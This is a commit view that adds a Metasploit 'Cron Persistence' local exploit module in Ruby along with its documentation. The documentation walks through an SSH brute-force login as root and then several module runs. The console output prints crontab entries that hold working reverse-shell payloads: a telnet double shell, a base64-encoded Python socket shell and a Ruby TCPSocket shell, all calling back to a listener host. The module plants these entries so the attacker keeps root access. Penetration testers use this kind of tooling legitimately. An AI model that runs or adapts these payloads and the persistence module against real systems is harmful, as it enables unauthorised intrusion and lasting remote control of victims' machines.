cron persistence
parent
718f36f1af
commit
4b8f572976
|
@ -0,0 +1,145 @@
|
|||
### Creating A Testing Environment
|
||||
|
||||
This module has been tested against:
|
||||
1. Kali Rolling
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Exploit a box via whatever method
|
||||
4. Do: `use exploit/linux/local/cron_persistence`
|
||||
5. Do: `set session #`
|
||||
6. Do: `set target #`
|
||||
7. Do: `set verbose true`
|
||||
8. Optional Do: `set username` (depends on target selection)
|
||||
9. Optional Do: `set cleanup false`
|
||||
10. Do: `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
**username**
|
||||
|
||||
Set a specific user's crontab if target 'User Crontab' is selected
|
||||
|
||||
**timing**
|
||||
|
||||
Set cron's timing. Default is to run within a minute. If this is changed, WsfDelay should be adjusted to compensate
|
||||
|
||||
**cleanup**
|
||||
|
||||
After the delayed period, use either perl (User/System Crontab) or standard MSF functionality to remove the cron entry. THIS WILL STOP THE PERSISTENCE!!!
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Kali Rolling (root)
|
||||
|
||||
Initial Access
|
||||
```
|
||||
msf > use auxiliary/scanner/ssh/ssh_login
|
||||
msf auxiliary(ssh_login) > set username root
|
||||
username => root
|
||||
msf auxiliary(ssh_login) > set password password
|
||||
password => password
|
||||
msf auxiliary(ssh_login) > set rhosts 10.10.60.168
|
||||
rhosts => 10.10.60.168
|
||||
msf auxiliary(ssh_login) > exploit
|
||||
|
||||
[*] 10.10.60.168:22 SSH - Starting bruteforce
|
||||
[+] 10.10.60.168:22 SSH - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux kali 3.18.0-kali3-686-pae #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) i686 GNU/Linux '
|
||||
[*] Command shell session 1 opened (10.10.60.168:50618 -> 10.10.60.168:22) at 2016-06-20 09:48:14 -0400
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
Run our module (Cron)
|
||||
```
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 0
|
||||
target => 0
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse double handler
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 152 bytes in 1 chunks of 518 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * root sh -c '(sleep 3867|telnet 10.10.60.168 4444|while : ; do sh && break; done 2>&1|telnet 10.10.60.168 4444 >/dev/null 2>&1 &)' #bAeBQqUYeb to /etc/cron.d/FiThkldAZR
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Accepted the first client connection...
|
||||
[*] Accepted the second client connection...
|
||||
[*] Command: echo xPBXQvodQdzgByKR;
|
||||
[*] Writing to socket A
|
||||
[*] Writing to socket B
|
||||
[*] Reading from sockets...
|
||||
[*] Reading from socket A
|
||||
[*] A: "xPBXQvodQdzgByKR\r\n"
|
||||
[*] Matching...
|
||||
[*] B is input...
|
||||
[*] Command shell session 2 opened (10.10.60.168:4444 -> 10.10.60.168:45087) at 2016-06-20 13:04:02 -0400
|
||||
[+] Deleted /etc/cron.d/FiThkldAZR
|
||||
```
|
||||
Run our module (System Crontab)
|
||||
```
|
||||
msf auxiliary(ssh_login) > use exploit/linux/local/cron_persistence
|
||||
msf exploit(cron_persistence) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(cron_persistence) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 2
|
||||
target => 2
|
||||
msf exploit(cron_persistence) > set cleanup false
|
||||
cleanup => false
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 1326 bytes in 1 chunks of 4969 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * root python -c "exec('aW1wb3J0IHNvY2tldCAgICwgICAgICAgc3VicHJvY2VzcyAgICwgICAgICAgb3MgICAgICAgOyAgICAgaG9zdD0iMTkyLjE2OC4xOTkuMTI4IiAgICAgICA7ICAgICBwb3J0PTQ0NDQgICAgICAgOyAgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICAgLCAgICAgICBzb2NrZXQuU09DS19TVFJFQU0pICAgICAgIDsgICAgIHMuY29ubmVjdCgoaG9zdCAgICwgICAgICAgcG9ydCkpICAgICAgIDsgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICwgICAgICAgMCkgICAgICAgOyAgICAgb3MuZHVwMihzLmZpbGVubygpICAgLCAgICAgICAxKSAgICAgICA7ICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAsICAgICAgIDIpICAgICAgIDsgICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))" #SnwfsUhNys to /etc/crontab
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:54837) at 2016-06-20 13:24:01 -0400
|
||||
|
||||
```
|
||||
And since we didn't clean up, if our session dies...
|
||||
```
|
||||
^C
|
||||
Abort session 2? [y/N] y
|
||||
|
||||
[*] 10.10.60.168 - Command shell session 2 closed. Reason: User exit
|
||||
msf exploit(cron_persistence) > use exploit/multi/handler
|
||||
msf exploit(handler) > set payload cmd/unix/reverse_python
|
||||
payload => cmd/unix/reverse_python
|
||||
msf exploit(handler) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(handler) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Starting the payload handler...
|
||||
[*] Command shell session 3 opened (192.168.199.128:4444 -> 192.168.199.128:54842) at 2016-06-20 13:27:01 -0400
|
||||
```
|
||||
Run our module (User Crontab)
|
||||
```
|
||||
msf exploit(cron_persistence) > set payload cmd/unix/reverse_ruby
|
||||
payload => cmd/unix/reverse_ruby
|
||||
msf exploit(cron_persistence) > set lhost 192.168.199.128
|
||||
lhost => 192.168.199.128
|
||||
msf exploit(cron_persistence) > set session 1
|
||||
session => 1
|
||||
msf exploit(cron_persistence) > set verbose true
|
||||
verbose => true
|
||||
msf exploit(cron_persistence) > set target 1
|
||||
target => 1
|
||||
msf exploit(cron_persistence) > exploit
|
||||
|
||||
[*] Started reverse handler on 192.168.199.128:4444
|
||||
[*] Max line length is 65537
|
||||
[*] Writing 1247 bytes in 1 chunks of 4566 bytes (octal-encoded), using printf
|
||||
[+] Writing * * * * * ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.199.128","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' #IiWAtaIrHs to /var/spool/cron/crontabs/root
|
||||
[*] Reloading cron to pickup new entry
|
||||
[*] Waiting 90sec for callback
|
||||
[*] Command shell session 2 opened (192.168.199.128:4444 -> 192.168.199.128:55031) at 2016-06-20 14:22:01 -0400
|
||||
```
|
|
@ -0,0 +1,142 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/file'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Cron Persistence',
|
||||
'Description' => %q(
|
||||
This module will create a cron or crontab entry to execute a payload.
|
||||
The module includes the ability to automatically clean up those entries to prevent multiple executions.
|
||||
syslog will get a copy of the cron entry.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'h00die <mike@shorebreaksecurity.com>'
|
||||
],
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cron', { 'path' => '/etc/cron.d' } ],
|
||||
[ 'User Crontab', { 'path' => '/var/spool/cron' } ],
|
||||
[ 'System Crontab', { 'path' => '/etc' } ]
|
||||
],
|
||||
'DefaultTarget' => 1,
|
||||
'Arch' => ARCH_CMD,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "#%\x10\x13", # % always seems to fail, # is for comments
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby python'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' => { 'WfsDelay' => 90 },
|
||||
'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation)
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('username', [false, 'User to run cron/crontab as', 'root']),
|
||||
OptString.new('timing', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
|
||||
OptBool.new('cleanup', [true, 'delete cron entry after execution', true])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# https://gist.github.com/istvanp/310203 for cron regex validator
|
||||
cron_regex = '(\*|[0-5]?[0-9]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|1?[0-9]|2[0-3]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|[1-2]?[0-9]|3[0-1]|\*\/[0-9]+)\s+'
|
||||
cron_regex << '(\*|[0-9]|1[0-2]|\*\/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)\s+'
|
||||
cron_regex << '(\*\/[0-9]+|\*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # \s*
|
||||
# cron_regex << '(\*\/[0-9]+|\*|[0-9]+)?'
|
||||
unless datastore['timing'] =~ %r{#{cron_regex}}
|
||||
fail_with(Failure::BadConfig, 'Invalid timing format')
|
||||
end
|
||||
cron_entry = datastore['timing']
|
||||
if target.name =~ /User Crontab/
|
||||
unless user_cron_permission?(datastore['username'])
|
||||
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
|
||||
end
|
||||
else
|
||||
cron_entry += " #{datastore['username']}"
|
||||
end
|
||||
flag = Rex::Text.rand_text_alpha(10)
|
||||
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
|
||||
case target.name
|
||||
when 'Cron'
|
||||
our_entry = Rex::Text.rand_text_alpha(10)
|
||||
write_file(target.opts['path'] + "/#{our_entry}", "#{cron_entry}\n")
|
||||
vprint_good("Writing #{cron_entry} to #{target.opts['path']}/#{our_entry}")
|
||||
if datastore['cleanup']
|
||||
register_file_for_cleanup("#{target.opts['path']}/#{our_entry}")
|
||||
end
|
||||
when 'System Crontab'
|
||||
file_to_clean = "#{target.opts['path']}/crontab"
|
||||
crontab = read_file(file_to_clean)
|
||||
crontab << "\n#{cron_entry}\n"
|
||||
write_file(file_to_clean, crontab)
|
||||
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
|
||||
when 'User Crontab'
|
||||
file_to_clean = "#{target.opts['path']}/crontabs/#{datastore['username']}"
|
||||
crontab = read_file(file_to_clean)
|
||||
crontab << "\n#{cron_entry}\n"
|
||||
write_file(file_to_clean, crontab)
|
||||
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
|
||||
# at least on ubuntu, we need to restart cron to get this to work
|
||||
vprint_status('Reloading cron to pickup new entry')
|
||||
cmd_exec("service cron restart")
|
||||
end
|
||||
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
|
||||
sleep(datastore['WfsDelay'].to_i)
|
||||
# we may need to do some cleanup, no need for cron since that uses file dropper
|
||||
# we could run this on a on_successful_session, but we want cleanup even if it fails
|
||||
if file_to_clean && flag && datastore['cleanup']
|
||||
print_status("Removing our cron entry from #{file_to_clean}")
|
||||
cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}")
|
||||
if target.name == 'User Crontab' # make sure we clean out of memory
|
||||
cmd_exec("service cron restart")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def user_cron_permission?(user)
|
||||
# double check we're allowed to do cron
|
||||
# may also be /etc/cron.d/
|
||||
paths = ['/etc/', '/etc/cron.d']
|
||||
paths.each do |path|
|
||||
cron_auth = read_file("#{path}cron.allow")
|
||||
if cron_auth
|
||||
if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
|
||||
vprint_good("User located in #{path}cron.allow")
|
||||
return true
|
||||
end
|
||||
end
|
||||
cron_auths = read_file("#{path}cron.deny")
|
||||
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
|
||||
vprint_error("User located in #{path}cron.deny")
|
||||
return false
|
||||
end
|
||||
end
|
||||
# no guidance, so we should be fine
|
||||
true
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue